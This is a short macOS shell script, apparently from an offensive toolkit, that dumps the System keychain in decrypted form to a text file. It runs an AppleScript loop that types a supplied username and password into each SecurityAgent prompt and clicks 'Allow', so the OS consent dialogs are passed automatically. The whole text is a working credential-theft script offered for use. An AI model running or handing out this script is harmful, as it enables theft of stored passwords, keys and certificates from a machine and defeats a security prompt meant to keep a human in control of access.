Dump system keychain with automation insert username and password

keychain-system-dump.sh

$security dump-keychain -d /Library/Keychains/System.keychain > System-keychain.txt &
$osascript 2>/dev/null <<EOF
	set appName to "${username}"
	set appPass to "${password}"
	tell application "System Events"
		repeat while exists (processes where name is "SecurityAgent")
			tell process "SecurityAgent"
				if exists (text field 1 of window 1) then
					set value of text field 1 of window 1 to appName
					set value of text field 2 of window 1 to appPass
				end if
			end tell
	  tell process "SecurityAgent" to click button "Allow" of window 1
			delay 0.2
		end repeat
	end tell
EOF